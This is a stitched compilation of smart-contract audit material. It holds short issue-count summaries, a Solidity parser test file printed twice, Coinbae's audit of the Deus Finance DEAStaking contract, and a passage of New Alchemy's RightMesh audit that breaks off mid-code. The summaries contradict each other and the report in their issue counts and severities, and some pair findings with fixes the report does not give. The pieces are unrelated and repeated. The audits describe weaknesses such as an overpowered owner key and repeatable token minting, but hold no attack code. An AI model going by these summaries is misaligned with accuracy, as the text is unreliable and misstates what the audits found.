2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
// Examples taken from the Solidity documentation online. // for pragma version numbers, see https://docs.npmjs.com/misc/semver#versions pragma solidity 0.4.0; pragma solidity ^0.4.0; import "SomeFile.sol"; import "SomeFile.sol" as SomeOtherFile; import * as SomeSymbol from "AnotherFile.sol"; import {symbol1 as alias, symbol2} from "File.sol"; interface i { function f(); } contract c { function c() { val1 = 1 wei; // 1 val2 = 1 szabo; // 1 * 10 ** 12 val3 = 1 finney; // 1 * 10 ** 15 val4 = 1 ether; // 1 * 10 ** 18 } uint256 val1; uint256 val2; uint256 val3; uint256 val4; } contract test { enum ActionChoices { GoLeft, GoRight, GoStraight, SitStill } function test() { choices = ActionChoices.GoStraight; } function getChoice() returns (uint d) { d = uint256(choices); } ActionChoices choices; } contract Base { function Base(uint i) { m_i = i; } uint public m_i; } contract Derived is Base(0) { function Derived(uint i) Base(i) {} } contract C { uint248 x; // 31 bytes: slot 0, offset 0 uint16 y; // 2 bytes: slot 1, offset 0 (does not fit in slot 0) uint240 z; // 30 bytes: slot 1, offset 2 bytes uint8 a; // 1 byte: slot 2, offset 0 bytes struct S { uint8 a; // 1 byte, slot +0, offset 0 bytes uint256 b; // 32 bytes, slot +1, offset 0 bytes (does not fit) } S structData; // 2 slots, slot 3, offset 0 bytes (does not really apply) uint8 alpha; // 1 byte, slot 4 (start new slot after struct) uint16[3] beta; // 3*16 bytes, slots 5+6 (start new slot for array) uint8 gamma; // 1 byte, slot 7 (start new slot after array) } contract test { function f(uint x, uint y) returns (uint z) { var c = x + 3; var b = 7 + (c * (8 - 7)) - x; return -(-b | 0); } } contract test { function f(uint x, uint y) returns (uint z) { return 10; } } contract c { function () returns (uint) { return g(8); } function g(uint pos) internal returns (uint) { setData(pos, 8); return getData(pos); } function setData(uint pos, uint value) internal { data[pos] = value; } function getData(uint pos) internal { return data[pos]; } mapping(uint => uint) data; } contract Sharer { function sendHalf(address addr) returns (uint balance) { if (!addr.send(msg.value/2)) throw; // also reverts the transfer to Sharer return address(this).balance; } } /// @dev Models a modifiable and iterable set of uint values. library IntegerSet { struct data { /// Mapping item => index (or zero if not present) mapping(uint => uint) index; /// Items by index (index 0 is invalid), items with index[item] == 0 are invalid. uint[] items; /// Number of stored items. uint size; } function insert(data storage self, uint value) returns (bool alreadyPresent) { uint index = self.index[value]; if (index > 0) return true; else { if (self.items.length == 0) self.items.length = 1; index = self.items.length++; self.items[index] = value; self.index[value] = index; self.size++; return false; } } function remove(data storage self, uint value) returns (bool success) { uint index = self.index[value]; if (index == 0) return false; delete self.index[value]; delete self.items[index]; self.size --; } function contains(data storage self, uint value) returns (bool) { return self.index[value] > 0; } function iterate_start(data storage self) returns (uint index) { return iterate_advance(self, 0); } function iterate_valid(data storage self, uint index) returns (bool) { return index < self.items.length; } function iterate_advance(data storage self, uint index) returns (uint r_index) { index++; while (iterate_valid(self, index) && self.index[self.items[index]] == index) index++; return index; } function iterate_get(data storage self, uint index) returns (uint value) { return self.items[index]; } } /// How to use it: contract User { /// Just a struct holding our data. IntegerSet.data data; /// Insert something function insert(uint v) returns (uint size) { /// Sends `data` via reference, so IntegerSet can modify it. IntegerSet.insert(data, v); /// We can access members of the struct - but we should take care not to mess with them. return data.size; } /// Computes the sum of all stored data. function sum() returns (uint s) { for (var i = IntegerSet.iterate_start(data); IntegerSet.iterate_valid(data, i); i = IntegerSet.iterate_advance(data, i)) s += IntegerSet.iterate_get(data, i); } } // This broke it at one point (namely the modifiers). contract DualIndex { mapping(uint => mapping(uint => uint)) data; address public admin; modifier restricted { if (msg.sender == admin) _; } function DualIndex() { admin = msg.sender; } function set(uint key1, uint key2, uint value) restricted { uint[2][4] memory defaults; // "memory" broke things at one time. data[key1][key2] = value; } function transfer_ownership(address _admin) restricted { admin = _admin; } function lookup(uint key1, uint key2) returns(uint) { return data[key1][key2]; } } contract A { } contract B { } contract C is A, B { } contract TestPrivate { uint private value; } contract TestInternal { uint internal value; } contract FromSolparse is A, B, TestPrivate, TestInternal { function() { uint a = 6 ** 9; var (x) = 100; uint y = 2 days; } } contract CommentedOutFunction { // FYI: This empty function, as well as the commented // out function below (bad code) is important to this test. function() { } // function something() // uint x = 10; // } } library VarHasBrackets { string constant specialRight = "}"; //string storage specialLeft = "{"; } library UsingExampleLibrary { function sum(uint[] storage self) returns (uint s) { for (uint i = 0; i < self.length; i++) s += self[i]; } } contract UsingExampleContract { using UsingExampleLibrary for uint[]; } contract NewStuff { uint[] b; function someFunction() payable { string storage a = hex"ab1248fe"; b[2+2]; } } // modifier with expression contract MyContract { function fun() mymodifier(foo.bar()) {} } library GetCode { function at(address _addr) returns (bytes o_code) { assembly { // retrieve the size of the code, this needs assembly let size := extcodesize(_addr) // allocate output byte array - this could also be done without assembly // by using o_code = new bytes(size) o_code := mload(0x40) // new "memory end" including padding mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(o_code, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(o_code, 0x20), 0, size) } } } contract assemblyLocalBinding { function test(){ assembly { let v := 1 let x := 0x00 let y := x let z := "hello" } } } contract assemblyReturn { uint a = 10; function get() constant returns(uint) { assembly { mstore(0x40, sload(0)) byte(0) address(0) return(0x40,32) } } } contract usesConst { uint const = 0; } contract memoryArrays { uint seven = 7; function returnNumber(uint number) returns (uint){ return number; } function alloc() { uint[] memory a = new uint[](7); uint[] memory b = new uint[](returnNumber(seven)); } } contract DeclarativeExpressions { uint a; uint b = 7; uint b2=0; uint public c; uint constant public d; uint public constant e; uint private constant f = 7; struct S { uint q;} function ham(S storage s1, uint[] storage arr) internal { uint x; uint y = 7; S storage s2 = s1; uint[] memory stor; uint[] storage stor2 = arr; } } contract VariableDeclarationTuple { function getMyTuple() returns (bool, bool){ return (true, false); } function ham (){ var (x, y) = (10, 20); var (a, b) = getMyTuple(); var (,c) = (10, 20); var (d,,) = (10, 20, 30); var (,e,,f,) = (10, 20, 30, 40, 50); var ( num1, num2, num3, ,num5 ) = (10, 20, 30, 40, 50); } } contract TypeIndexSpacing { uint [ 7 ] x; uint [] y; } contract Ballot { struct Voter { uint weight; bool voted; } function abstain() returns (bool) { return false; } function foobar() payable owner (myPrice) returns (uint[], address myAdd, string[] names) {} function foobar() payable owner (myPrice) returns (uint[], address myAdd, string[] names); Voter you = Voter(1, true); Voter me = Voter({ weight: 2, voted: abstain() }); Voter airbnb = Voter({ weight: 2, voted: true, }); } contract multilineReturn { function a() returns (uint x) { return 5; } } pragma solidity ^0.4.21; contract SimpleStorage { uint public storedData; function set(uint x) { storedData = x; } function get() constant returns (uint retVal) { return storedData; } } pragma solidity ^0.4.21; contract SolcovIgnore { uint public storedData; function set(uint x) public { /* solcov ignore next */ storedData = x; } /* solcov ignore next */ function get() constant public returns (uint retVal) { return storedData; } } /* solcov ignore next */ contract Ignore { function ignored() public returns (bool) { return false; } } contract Simplest { }
Coinbae Audit DEAStaking from Deus Finance December 2020 Contents Disclaimer 1Introduction, 2 Scope, 5 Synopsis, 7 Best Practice, 8 High Severity, 9 Team, 12 Introduction Audit: In December 2020 Coinbae’s audit report division performed an audit for the Deus Finance team (DEAStaking pool). https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Deus Finance: DEUS lets you trade real-world assets and derivatives, like stocks and commodities, directly on the Ethereum blockchain. As described in the Deus Finance litepaper . DEUS finance is a Decentralized Finance (DeFi) protocol that allows bringing any verifiable digital and non-digital asset onto the blockchain. It boosts the transfer of value across many different markets and exchanges with unprecedented ease, transparency, and security. The launch system is currently being built on the Ethereum-blockchain and will be chain-agnostic in the future. It started out originally as development on a tool to manage the asset basket for a community crypto investment pool. This turned into the vision of DEUS as a DAO-governed, decentralized platform that holds and mirrors assets. More information can be found at https://deus.finance/home/ . 2Introduction Overview: Information: Ticker: DEA Type: Token (0x80ab141f324c3d6f2b18b030f1c4e95d4d658778) Ticker: DEUS Type: Token (0x3b62f3820e0b035cc4ad602dece6d796bc325325) Pool, Asset or Contract address: 0x1D17d697cAAffE53bf3bFdE761c90D61F6ebdc41 Supply: Current: 2,384,600 Explorers: Etherscan.io Websites: https://deus.finance/home/ Links: Github 3Introduction Compiler related issues: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. This so it includes all the latest bug fixes of the solidity compiler. When you use for instance the openzeppelin contracts in your code the solidity version you should use should be 0.8.0 because this is the latest version supported. Caution: The solidity versions used for the audited contracts are 0.6.11 this version has the following known bugs so the compiled contract might be susceptible to: EmptyByteArrayCopy – Medium risk Copying an empty byte array (or string) from memory or calldata to storage can result in data corruption if the target array's length is increased subsequently without storing new data. https://etherscan.io/solcbuginfo?a=EmptyByteArrayCopy DynamicArrayCleanup – Medium risk When assigning a dynamically-sized array with types of size at most 16 bytes in storage causing the assigned array to shrink, some parts of deleted slots were not zeroed out. https://etherscan.io/solcbuginfo?a=DynamicArrayCleanup Advice: Update the contracts to the latest supported version of solidity. https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D61F6 ebdc41#code DEA Staking 4Audit Report Scope Assertions and Property Checking: 1. Solidity assert violation. 2. Solidity AssertionFailed event. ERC Standards: 1. Incorrect ERC20 implementation. Solidity Coding Best Practices: 1. Outdated compiler version. 2. No or floating compiler version set. 3. Use of right-to-left-override control character. 4. Shadowing of built-in symbol. 5. Incorrect constructor name. 6. State variable shadows another state variable. 7. Local variable shadows a state variable. 8. Function parameter shadows a state variable. 9. Named return value shadows a state variable. 10. Unary operation without effect Solidity code analysis. 11. Unary operation directly after assignment. 12. Unused state variable. 13. Unused local variable. 14. Function visibility is not set. 15. State variable visibility is not set. 16. Use of deprecated functions: call code(), sha3(), … 17. Use of deprecated global variables (msg.gas, ...). 18. Use of deprecated keywords (throw, var). 19. Incorrect function state mutability. 20. Does the code conform to the Solidity styleguide. Convert code to conform Solidity styleguide: 1. Convert all code so that it is structured accordingly the Solidity styleguide. 5Audit Report Scope Categories: High Severity: High severity issues opens the contract up for exploitation from malicious actors. We do not recommend deploying contracts with high severity issues. Medium Severity Issues: Medium severity issues are errors found in contracts that hampers the effectiveness of the contract and may cause outcomes when interacting with the contract. It is still recommended to fix these issues. Low Severity Issues: Low severity issues are warning of minor impact on the overall integrity of the contract. These can be fixed with less urgency. 6Audit Report 11110 3 8 0Identified Confirmed Critical High Medium Low Analysis: https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Risk: Low (Explained) 7Audit Report Coding best practices: Function could be marked as external SWC-000: Calling each function, we can see that the public function uses 496 gas, while the external function uses only 261. The difference is because in public functions, Solidity immediately copies array arguments to memory, while external functions can read directly from calldata. Memory allocation is expensive, whereas reading from calldata is cheap. So if you can, use external instead of public. Affected lines: 1. function setWallets(address _daoWallet, address _earlyFoundersWallet) public onlyOwner { [#65] 2. function setShares(uint256 _daoShare, uint256 _earlyFoundersShare) public onlyOwner { [#70] 3. function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner { [#76] 4. function deposit(uint256 amount) public { [#105] 5. function withdraw(uint256 amount) public { [#123] 6. function emergencyWithdraw() public { [#156] 7. function withdrawAllRewardTokens(address to) public onlyOwner { [#171] 8. function withdrawAllStakedtokens(address to) public onlyOwner { [#178] 8Audit Report High severity issues, Overpowered user: See the update and teams response on page 10. Description: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. Line 65: functionsetWallets(address_daoWallet,address_earlyFoundersWallet)publ iconlyOwner{daoWallet=_daoWallet;earlyFoundersWallet=_earlyFounders Wallet;} Line 70: functionsetShares(uint256_daoShare,uint256_earlyFoundersShare)public onlyOwner{withdrawParticleCollector();daoShare=_daoShare;earlyFound ersShare=_earlyFoundersShare;} Line 70: functionsetRewardPerBlock(uint256_rewardPerBlock)publiconlyOwner{u pdate();emitRewardPerBlockChanged(rewardPerBlock,_rewardPerBlock);r ewardPerBlock=_rewardPerBlock;} Recommendation: Use a multisig wallet for overpowered users. 9Audit Report Solved issues (Risk moved to Low): Update: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4 b6e9c Deus Finance DAO link: https://client.aragon.org/#/deus Debugging snippet Deus-DEA: status true Transaction mined and execution succeed transaction hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c from 0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630 to Staking.transferOwnership(address) 0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19 gas 30940 gas transaction cost 30940 gas hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c input 0xf2f...9bc0f decoded input { "address newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f" } decoded output - logs [ { "from": "0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19", "topic": "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", "event": "OwnershipTransferred", "args": { "0": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "1": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "previousOwner": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "length": 2 } } ] value 0 wei 10Contract Flow 11 Audit Team Team Lead: Eelko Neven Eelko has been in the it/security space since 1991. His passion started when he was confronted with a formatted hard drive and no tools to undo it. At that point he started reading a lot of material on how computers work and how to make them work for others. After struggling for a few weeks he finally wrote his first HD data recovery program. Ever since then when he was faced with a challenge he just persisted until he had a solution. This mindset helped him tremendously in the security space. He found several vulnerabilities in large corporation servers and notified these corporations in a responsible manner. Among those are Google, Twitter, General Electrics etc. For the last 12 years he has been working as a professional security /code auditor and performed over 1500 security audits / code reviews, he also wrote a similar amount of reports. He has extensive knowledge of the Solidity programming language and this is why he loves to do Defi and other smartcontract reviews. Email: info@coinbae.com 12Coinbae Audit Disclaimer Coinbae audit is not a security warranty, investment advice, or an endorsement of the Deus Finance platform. This audit does not provide a security or correctness guarantee of the audited smart contracts. The statements made in this document should not be interpreted as investment or legal advice, nor should its authors be held accountable for decisions made based on them. Securing smart contracts is a multistep process. One audit cannot be considered enough. We recommend that the the Deus Finance Team put in place a bug bounty program to encourage further analysis of the smart contract by other third parties. 13Conclusion We performed the procedures as laid out in the scope of the audit and there were 11 findings, 8 medium and 3 low. There were also 3 high severity issues that were explained by the team in their response. Subsequently, these issues were removed by Coinbae, although still on the report for transparency’s sake. The medium risk issues do not pose a security risk as they are best practice issues that is why the overall risk level is low.
Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. Conclusion: Coinbae's audit report division performed an audit for the Deus Finance team (DEAStaking pool) and found 1 minor and 1 moderate issue. The issues can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
// Examples taken from the Solidity documentation online. // for pragma version numbers, see https://docs.npmjs.com/misc/semver#versions pragma solidity 0.4.0; pragma solidity ^0.4.0; import "SomeFile.sol"; import "SomeFile.sol" as SomeOtherFile; import * as SomeSymbol from "AnotherFile.sol"; import {symbol1 as alias, symbol2} from "File.sol"; interface i { function f(); } contract c { function c() { val1 = 1 wei; // 1 val2 = 1 szabo; // 1 * 10 ** 12 val3 = 1 finney; // 1 * 10 ** 15 val4 = 1 ether; // 1 * 10 ** 18 } uint256 val1; uint256 val2; uint256 val3; uint256 val4; } contract test { enum ActionChoices { GoLeft, GoRight, GoStraight, SitStill } function test() { choices = ActionChoices.GoStraight; } function getChoice() returns (uint d) { d = uint256(choices); } ActionChoices choices; } contract Base { function Base(uint i) { m_i = i; } uint public m_i; } contract Derived is Base(0) { function Derived(uint i) Base(i) {} } contract C { uint248 x; // 31 bytes: slot 0, offset 0 uint16 y; // 2 bytes: slot 1, offset 0 (does not fit in slot 0) uint240 z; // 30 bytes: slot 1, offset 2 bytes uint8 a; // 1 byte: slot 2, offset 0 bytes struct S { uint8 a; // 1 byte, slot +0, offset 0 bytes uint256 b; // 32 bytes, slot +1, offset 0 bytes (does not fit) } S structData; // 2 slots, slot 3, offset 0 bytes (does not really apply) uint8 alpha; // 1 byte, slot 4 (start new slot after struct) uint16[3] beta; // 3*16 bytes, slots 5+6 (start new slot for array) uint8 gamma; // 1 byte, slot 7 (start new slot after array) } contract test { function f(uint x, uint y) returns (uint z) { var c = x + 3; var b = 7 + (c * (8 - 7)) - x; return -(-b | 0); } } contract test { function f(uint x, uint y) returns (uint z) { return 10; } } contract c { function () returns (uint) { return g(8); } function g(uint pos) internal returns (uint) { setData(pos, 8); return getData(pos); } function setData(uint pos, uint value) internal { data[pos] = value; } function getData(uint pos) internal { return data[pos]; } mapping(uint => uint) data; } contract Sharer { function sendHalf(address addr) returns (uint balance) { if (!addr.send(msg.value/2)) throw; // also reverts the transfer to Sharer return address(this).balance; } } /// @dev Models a modifiable and iterable set of uint values. library IntegerSet { struct data { /// Mapping item => index (or zero if not present) mapping(uint => uint) index; /// Items by index (index 0 is invalid), items with index[item] == 0 are invalid. uint[] items; /// Number of stored items. uint size; } function insert(data storage self, uint value) returns (bool alreadyPresent) { uint index = self.index[value]; if (index > 0) return true; else { if (self.items.length == 0) self.items.length = 1; index = self.items.length++; self.items[index] = value; self.index[value] = index; self.size++; return false; } } function remove(data storage self, uint value) returns (bool success) { uint index = self.index[value]; if (index == 0) return false; delete self.index[value]; delete self.items[index]; self.size --; } function contains(data storage self, uint value) returns (bool) { return self.index[value] > 0; } function iterate_start(data storage self) returns (uint index) { return iterate_advance(self, 0); } function iterate_valid(data storage self, uint index) returns (bool) { return index < self.items.length; } function iterate_advance(data storage self, uint index) returns (uint r_index) { index++; while (iterate_valid(self, index) && self.index[self.items[index]] == index) index++; return index; } function iterate_get(data storage self, uint index) returns (uint value) { return self.items[index]; } } /// How to use it: contract User { /// Just a struct holding our data. IntegerSet.data data; /// Insert something function insert(uint v) returns (uint size) { /// Sends `data` via reference, so IntegerSet can modify it. IntegerSet.insert(data, v); /// We can access members of the struct - but we should take care not to mess with them. return data.size; } /// Computes the sum of all stored data. function sum() returns (uint s) { for (var i = IntegerSet.iterate_start(data); IntegerSet.iterate_valid(data, i); i = IntegerSet.iterate_advance(data, i)) s += IntegerSet.iterate_get(data, i); } } // This broke it at one point (namely the modifiers). contract DualIndex { mapping(uint => mapping(uint => uint)) data; address public admin; modifier restricted { if (msg.sender == admin) _; } function DualIndex() { admin = msg.sender; } function set(uint key1, uint key2, uint value) restricted { uint[2][4] memory defaults; // "memory" broke things at one time. data[key1][key2] = value; } function transfer_ownership(address _admin) restricted { admin = _admin; } function lookup(uint key1, uint key2) returns(uint) { return data[key1][key2]; } } contract A { } contract B { } contract C is A, B { } contract TestPrivate { uint private value; } contract TestInternal { uint internal value; } contract FromSolparse is A, B, TestPrivate, TestInternal { function() { uint a = 6 ** 9; var (x) = 100; uint y = 2 days; } } contract CommentedOutFunction { // FYI: This empty function, as well as the commented // out function below (bad code) is important to this test. function() { } // function something() // uint x = 10; // } } library VarHasBrackets { string constant specialRight = "}"; //string storage specialLeft = "{"; } library UsingExampleLibrary { function sum(uint[] storage self) returns (uint s) { for (uint i = 0; i < self.length; i++) s += self[i]; } } contract UsingExampleContract { using UsingExampleLibrary for uint[]; } contract NewStuff { uint[] b; function someFunction() payable { string storage a = hex"ab1248fe"; b[2+2]; } } // modifier with expression contract MyContract { function fun() mymodifier(foo.bar()) {} } library GetCode { function at(address _addr) returns (bytes o_code) { assembly { // retrieve the size of the code, this needs assembly let size := extcodesize(_addr) // allocate output byte array - this could also be done without assembly // by using o_code = new bytes(size) o_code := mload(0x40) // new "memory end" including padding mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(o_code, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(o_code, 0x20), 0, size) } } } contract assemblyLocalBinding { function test(){ assembly { let v := 1 let x := 0x00 let y := x let z := "hello" } } } contract assemblyReturn { uint a = 10; function get() constant returns(uint) { assembly { mstore(0x40, sload(0)) byte(0) address(0) return(0x40,32) } } } contract usesConst { uint const = 0; } contract memoryArrays { uint seven = 7; function returnNumber(uint number) returns (uint){ return number; } function alloc() { uint[] memory a = new uint[](7); uint[] memory b = new uint[](returnNumber(seven)); } } contract DeclarativeExpressions { uint a; uint b = 7; uint b2=0; uint public c; uint constant public d; uint public constant e; uint private constant f = 7; struct S { uint q;} function ham(S storage s1, uint[] storage arr) internal { uint x; uint y = 7; S storage s2 = s1; uint[] memory stor; uint[] storage stor2 = arr; } } contract VariableDeclarationTuple { function getMyTuple() returns (bool, bool){ return (true, false); } function ham (){ var (x, y) = (10, 20); var (a, b) = getMyTuple(); var (,c) = (10, 20); var (d,,) = (10, 20, 30); var (,e,,f,) = (10, 20, 30, 40, 50); var ( num1, num2, num3, ,num5 ) = (10, 20, 30, 40, 50); } } contract TypeIndexSpacing { uint [ 7 ] x; uint [] y; } contract Ballot { struct Voter { uint weight; bool voted; } function abstain() returns (bool) { return false; } function foobar() payable owner (myPrice) returns (uint[], address myAdd, string[] names) {} function foobar() payable owner (myPrice) returns (uint[], address myAdd, string[] names); Voter you = Voter(1, true); Voter me = Voter({ weight: 2, voted: abstain() }); Voter airbnb = Voter({ weight: 2, voted: true, }); } contract multilineReturn { function a() returns (uint x) { return 5; } } pragma solidity ^0.4.21; contract SimpleStorage { uint public storedData; function set(uint x) { storedData = x; } function get() constant returns (uint retVal) { return storedData; } } pragma solidity ^0.4.21; contract SolcovIgnore { uint public storedData; function set(uint x) public { /* solcov ignore next */ storedData = x; } /* solcov ignore next */ function get() constant public returns (uint retVal) { return storedData; } } /* solcov ignore next */ contract Ignore { function ignored() public returns (bool) { return false; } } contract Simplest { }
2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 1/10Published inNew Alchemy New Alchemy Follow Apr 17, 2018·10 min read Save Right Mesh Smart Contract Audit Right Mesh engaged New Alchemy to audit the smart contracts for their “RMESH” token. We focused on identifying security flaws in the design and implementation of the contracts and on finding differences between the contracts’ implementation and their behaviour as described in public documentation. The audit was performed over four days in February and March of 2018. This document describes the issues discovered in the audit. An initial version of this document was provided to RightMesh, who made various changes to their contracts based on New Alchemy’s findings; this document was subsequently updated in March 2018 to reflect the changes. Files Audited The code audited by New Alchemy is in the GitHub repository https://github.com/firstcoincom/solidity at commit hash Th id f hiiil 174Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 2/1051b29dbba309acd6acd40931be07c3b857dee506. The revised contracts after the initial report was delivered are in commit 04c6bb594ad5fa0b8757feba030a1341f59e9f85. RightMesh made additional fixes whose commit hash was not shared with New Alchemy. New Alchemy’s audit was additionally guided by the following documents: RightMesh Whitepaper, version 4.0 (February 14 2018) RightMesh Technical Whitepaper, version 3.1 (December 17 2017) RightMesh Frequently Asked Questions The review identified one critical finding, which allowed the crowd sale owner to issue large quantities of tokens to addresses that it controls by abusing a flaw in the mechanism for minting “predefined tokens”. Three additional minor flaws were identified, all of which are best-practice violations of limited practical exploitability: lack of two-phase ownership transfer and of mitigations for the short-address attack, and token allocation configuration that is less than ideally transparent. An additional minor flaw was documented in some earlier versions of this report but was determined to be a false positive. After reviewing an initial version of this report, RightMesh made changes to their contracts to prevent predefined tokens from being minted multiple times and to mitigate short-address attacks. No changes were made to ownership transfers or to the configuration of predefined token allocations. General Discussion These contracts implement a fairly simple token and crowdsale, drawing heavily on base contracts from the OpenZeppelin project ¹. The code is well commented. However, the RightMesh white papers and other documentation provide very little detail about the operation of the crowd sale or token. It was not clear to New Alchemy who receives pre-defined token allocations; from MeshCrowdsale, how large these allocations are, or why they receive them. Likewise, it was not clear how Timelock fits into the token ecosystem. RightMesh later clarified that the pre-defined token allocations are for the "RightMesh GmbH & Community", "Left & team", "Advisors & TGE costs", and "Airdrop to community", as documented in the RightMesh FAQ. Further, the Timelock contractOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 3/10is used to hold these allocations. Some of the OpenZeppelin base contracts inherited by the RightMesh contracts have changed substantially since the RightMesh contracts were written. Consequently, the RightMesh contracts cannot be built against the head of OpenZeppelin. RightMesh should either copy a fork of the relevant OpenZeppelin contracts into their repository or document the OpenZeppelin release or commit that should be used to build their contracts. Critical Issues Fixed: Predefined tokens can be minted multiple times As its name implies, the function MeshCrowdsale.mintPredefinedTokens mints tokens according to an allocation set during deployment. This function does not check that it has not previously been called, so it can be called multiple times. Despite comments to the contrary, this function is tagged onlyOwner, so this function will only ever be called more than once if an owner makes a mistake or deliberately misbehaves. Further, MeshToken gets deployed in a default state of paused, which prevents any token transfers, and mintPredefinedTokens does check that the balance of each beneficiary is zero, so if mintPredefinedTokens has already been called, subsequent calls should have no effect. However, there are still possible conditions under which a beneficiary could transfer tokens prior to an extra call to mintPredefinedTokens: An owner could call MeshToken.unpause, which would allow all token holders to transfer tokens. MeshToken cannot be re-paused once unpaused, so any call to mintPredefinedTokens after MeshToken has been unpaused may mint additional tokens. An owner could use MeshToken.updateAllowedTransfers to flag a beneficiary as being allowed to make transfers despite MeshToken being paused. In the worst case, a rogue owner deploys MeshCrowdsale with a beneficiary address that it controls, flags that address to permit transfers despite MeshToken being paused, waits for some tokens to be sold, then alternates calls to MeshCrowdsale.mintPredefinedTokens and MeshToken.transfer to allocate up to the remaining crowdsale cap to itself. T tht dfidtk l itd tlhldb dddtOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 4/10To ensure that predefined tokens are only minted once, a control should be added to MeshCrowdsale.mintPredefinedTokensto ensure that it is called at most once. Some sort of control to ensure that MeshToken remains paused until the crowdsale completes may also be useful. Further, the comment or the declaration of mintPredefinedTokens should be amended so that they agree on what users are allowed to call this function. Re-test results: RightMesh added logic to prevent mintPredefinedTokens from being called twice and corrected the function comment to indicate that it can only be called by the owner. Minor Issues Not Fixed: Lack of two-phase ownership transfer In contracts that inherit the common Ownable contract from the OpenZeppelin project^2 (including MeshToken, MeshCrowdsale, and Timelock), a contract has a single owner. That owner can unilaterally transfer ownership to a different address. However, if the owner of a contract makes a mistake in entering the address of an intended new owner, then the contract can become irrecoverably unowned. In order to preclude this, New Alchemy recommends implementing two-phase ownership transfer. In this model, the original owner designates a new owner, but does not actually transfer ownership. The new owner then accepts ownership and completes the transfer. This can be implemented as follows: contract Ownable { address public owner; address public newOwner event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(address(0) != _newOwner); Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium 